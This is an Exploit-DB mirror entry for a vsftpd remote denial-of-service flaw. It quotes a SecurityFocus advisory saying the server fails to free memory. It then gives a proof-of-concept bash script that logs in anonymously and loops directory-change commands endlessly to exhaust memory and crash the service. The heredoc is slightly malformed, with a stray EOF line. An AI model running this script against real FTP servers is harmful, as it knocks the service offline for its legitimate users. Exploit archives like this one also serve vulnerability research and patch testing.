exploit-db-mirror/platforms/windows/dos/31818.sh
Offensive Security 057e79d117 Updated 02_24_2014
2014-02-24 04:27:50 +00:00

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source: http://www.securityfocus.com/bid/29322/info
The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.
# echo deny_file=foo >> /etc/vsftpd/vsftpd.conf
# service vsftpd restart
$ cat > memtest.sh <<EOF
EOF
#!/bin/bash
echo USER anonymous
echo PASS foo@bar.com
while [ 1 ]; do
echo CWD pub
echo CWD ..
done
EOF